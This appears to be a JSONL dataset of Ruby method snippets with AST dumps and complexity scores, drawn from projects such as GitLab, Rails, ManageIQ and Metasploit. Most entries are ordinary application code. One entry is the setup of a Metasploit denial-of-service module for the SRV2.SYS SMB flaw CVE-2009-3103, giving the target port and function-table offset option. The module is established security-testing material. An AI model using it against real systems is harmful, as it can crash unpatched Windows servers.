{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/availability.rb","start_line":105,"raw_source":"def enable_b2b_app!\n        raise \"Not possible to enable b2b on this app\" if b2b_unavailable\n        @b2b_app_enabled = true\n        # need to set the educational discount to false\n        @educational_discount = false\n        return self\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_b2b_app!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"b2b_unavailable\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Not possible to enable b2b on this app\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@b2b_app_enabled\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@educational_discount\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]}","id":"70b9b954-6ffb-440a-a1bc-89efd9bc533a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report_result.rb","start_line":129,"raw_source":"def html_rows(options = {})\n    per_page = options.delete(:per_page)\n    page     = options.delete(:page) || 1\n    unless per_page.nil?\n      options[:offset] = ((page - 1) * per_page)\n      options[:limit]  = per_page\n    end\n    update_attribute(:last_accessed_on, Time.now.utc)\n    purge_for_user\n    html_details.order(\"id asc\").offset(options[:offset]).limit(options[:limit]).collect(&:data)\n  end","complexity_score":29.58,"ast_json":"{\"type\":\"def\",\"children\":[\"html_rows\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"page\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_attribute\",{\"type\":\"sym\",\"children\":[\"last_accessed_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"purge_for_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_details\"]},\"order\",{\"type\":\"str\",\"children\":[\"id asc\"]}]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]}]}","id":"45e6d499-771d-462a-b4e6-c6f766b22d1e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_types/types/row_component.rb","start_line":71,"raw_source":"def milestone\n        checked_image model.is_milestone\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"checked_image\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"is_milestone\"]}]}]}","id":"da3b7659-4464-4806-9464-c4e0c2230429"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/gss_new_encryption_type.rb","start_line":114,"raw_source":"def calculate_ec(plaintext_len)\n            padding_size = 1\n            if padding_size == 0\n              # No padding, so don't need to buffer up to a multiple of the pad length\n              0\n            else\n              (padding_size - (plaintext_len + GSS_HEADER_LEN)) % padding_size\n            end\n          end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_ec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plaintext_len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"padding_size\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding_size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding_size\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext_len\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"GSS_HEADER_LEN\"]}]}]}]}]},\"%\",{\"type\":\"lvar\",\"children\":[\"padding_size\"]}]}]}]}]}","id":"e3b51973-04e7-4eee-994f-8e836567ce39"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow/dialog_field_validation.rb","start_line":58,"raw_source":"def validate_sysprep_field(field, values, dlg, fld, value)\n    return nil if value.present?\n    return nil unless get_value(values[:sysprep_enabled]) == 'fields'\n    return nil if get_value(values[field]).present?\n\n    _(\"%{description} is required\") % {:description => required_description(dlg, fld)}\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_sysprep_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"dlg\"]},{\"type\":\"arg\",\"children\":[\"fld\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sysprep_enabled\"]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"fields\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{description} is required\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"required_description\",{\"type\":\"lvar\",\"children\":[\"dlg\"]},{\"type\":\"lvar\",\"children\":[\"fld\"]}]}]}]}]}]}]}","id":"0a9f117f-efd7-4495-b169-35159e46c6b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/close_service.rb","start_line":140,"raw_source":"def store_first_mentioned_in_commit_at(issue, merge_request, max_commit_lookup: 100)\n      metrics = issue.metrics\n      return if metrics.nil? || metrics.first_mentioned_in_commit_at\n\n      first_commit_timestamp = merge_request.commits(limit: max_commit_lookup).last.try(:authored_date)\n      return unless first_commit_timestamp\n\n      metrics.update!(first_mentioned_in_commit_at: first_commit_timestamp)\n    end","complexity_score":13.05,"ast_json":"{\"type\":\"def\",\"children\":[\"store_first_mentioned_in_commit_at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"kwoptarg\",\"children\":[\"max_commit_lookup\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metrics\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"metrics\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"first_mentioned_in_commit_at\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"first_commit_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"commits\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"max_commit_lookup\"]}]}]}]},\"last\"]},\"try\",{\"type\":\"sym\",\"children\":[\"authored_date\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_commit_timestamp\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_mentioned_in_commit_at\"]},{\"type\":\"lvar\",\"children\":[\"first_commit_timestamp\"]}]}]}]}]}]}","id":"e89683e8-cfe3-47d2-9bb4-0484b08416c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/root_controller.rb","start_line":72,"raw_source":"def redirect_logged_user\n    dashboard_for_routing = current_user.effective_dashboard_for_routing\n\n    redirect_path = dashboard_redirect_path(dashboard_for_routing)\n\n    flash.keep if %w[stars member_projects].include?(dashboard_for_routing)\n\n    redirect_to(redirect_path) if redirect_path\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_logged_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dashboard_for_routing\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"effective_dashboard_for_routing\"]}]},{\"type\":\"lvasgn\",\"children\":[\"redirect_path\",{\"type\":\"send\",\"children\":[null,\"dashboard_redirect_path\",{\"type\":\"lvar\",\"children\":[\"dashboard_for_routing\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stars\"]},{\"type\":\"str\",\"children\":[\"member_projects\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"dashboard_for_routing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"keep\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redirect_path\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"lvar\",\"children\":[\"redirect_path\"]}]},null]}]}]}","id":"89eb6e58-93ae-4367-9338-c5643f33a198"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/association_validation_test.rb","start_line":110,"raw_source":"def test_validates_associated_with_create_context\n    Reply.validates_associated :topic, on: :create\n    Topic.validates_presence_of :content, on: :create\n    t = Topic.create(title: \"uhoh\", content: \"stuff\")\n    t.update!(content: nil)\n    # NOTE: Does not pass along :create context from reply to Topic validation.\n    r = t.replies.create(title: \"A reply\", content: \"with content!\")\n\n    assert_predicate t, :valid?\n    assert_predicate r, :valid?\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_associated_with_create_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"validates_associated\",{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_presence_of\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"create\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"uhoh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"stuff\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"replies\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"A reply\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"with content!\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"r\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"11337717-7e12-4b37-896f-a8cb48cc8f2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/email_log.rb","start_line":55,"raw_source":"def self.unique_email_per_post(post, user)\n    return yield unless post && user\n\n    DistributedMutex.synchronize(\"email_log_#{post.id}_#{user.id}\") do\n      if where(post_id: post.id, user_id: user.id).exists?\n        nil\n      else\n        yield\n      end\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unique_email_per_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"yield\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"email_log_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"exists?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}]}]}","id":"9ca7b73d-4703-4249-9177-7b8c284bdd3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":390,"raw_source":"def display_args\n      # Unwrap known wrappers so they show up in a human-friendly manner in the Web UI\n      @display_args ||= if klass == \"ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper\" || klass == \"Sidekiq::ActiveJob::Wrapper\"\n        job_args = self[\"wrapped\"] ? deserialize_argument(args[0][\"arguments\"]) : []\n        if (self[\"wrapped\"] || args[0]) == \"ActionMailer::DeliveryJob\"\n          # remove MailerClass, mailer_method and 'deliver_now'\n          job_args.drop(3)\n        elsif (self[\"wrapped\"] || args[0]) == \"ActionMailer::MailDeliveryJob\"\n          # remove MailerClass, mailer_method and 'deliver_now'\n          job_args.drop(3).first.values_at(\"params\", \"args\")\n        else\n          job_args\n        end\n      else\n        if self[\"encrypt\"]\n          # no point in showing 150+ bytes of random garbage\n          args[-1] = \"[encrypted data]\"\n        end\n        args\n      end\n    end","complexity_score":48.58,"ast_json":"{\"type\":\"def\",\"children\":[\"display_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@display_args\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"==\",{\"type\":\"str\",\"children\":[\"ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"==\",{\"type\":\"str\",\"children\":[\"Sidekiq::ActiveJob::Wrapper\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job_args\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"wrapped\"]}]},{\"type\":\"send\",\"children\":[null,\"deserialize_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"arguments\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"wrapped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"ActionMailer::DeliveryJob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_args\"]},\"drop\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"wrapped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"ActionMailer::MailDeliveryJob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_args\"]},\"drop\",{\"type\":\"int\",\"children\":[3]}]},\"first\"]},\"values_at\",{\"type\":\"str\",\"children\":[\"params\"]},{\"type\":\"str\",\"children\":[\"args\"]}]},{\"type\":\"lvar\",\"children\":[\"job_args\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"encrypt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]=\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"str\",\"children\":[\"[encrypted data]\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"args\"]}]}]}]}]}","id":"5f5a1251-0900-47ba-9288-bb52dce6f985"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',\n        'Description' => %q{\n          This module exploits an out of bounds function table dereference in the SMB\n          request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7\n          release candidates (not RTM), and Windows 2008 Server prior to R2.  Windows\tVista\n          without SP1 does not seem affected by this flaw.\n        },\n\n        'Author' => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2009-3103'],\n          ['BID', '36299'],\n          ['OSVDB', '57799'],\n          ['MSB', 'MS09-050'],\n          ['URL', 'https://seclists.org/fulldisclosure/2009/Sep/39']\n        ],\n        'Notes' => {\n          'AKA' => ['EDUCATEDSCHOLAR'],\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      Opt::RPORT(445),\n      OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff])\n    ])\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an out of bounds function table dereference in the SMB\\n\"]},{\"type\":\"str\",\"children\":[\"          request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7\\n\"]},{\"type\":\"str\",\"children\":[\"          release candidates (not RTM), and Windows 2008 Server prior to R2.  Windows\\tVista\\n\"]},{\"type\":\"str\",\"children\":[\"          without SP1 does not seem affected by this flaw.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Laurent Gaffie <laurent.gaffie[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-3103\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"36299\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"57799\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS09-050\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2009/Sep/39\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDUCATEDSCHOLAR\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[445]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"OFFSET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The function table offset to call\"]},{\"type\":\"int\",\"children\":[65535]}]}]}]}]}]}]}","id":"e9c270bb-8ba6-430d-9d34-7a7d245eba95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/requirements_txt_linker.rb","start_line":10,"raw_source":"def link_dependencies\n        link_regex(/^(?<name>(?![a-z+]+:)[^#.-][^ ><=~!;\\[]+)/) do |name|\n          \"https://pypi.org/project/#{name}/\"\n        end\n\n        link_regex(%r{^(?<name>https?://[^ ]+)}, &:itself)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"link_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(?<name>(?![a-z+]+:)[^#.-][^ ><=~!;\\\\[]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://pypi.org/project/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(?<name>https?://[^ ]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"itself\"]}]}]}]}]}","id":"56fe36ad-60ff-4cd9-bb07-b74c4d97c10d"}
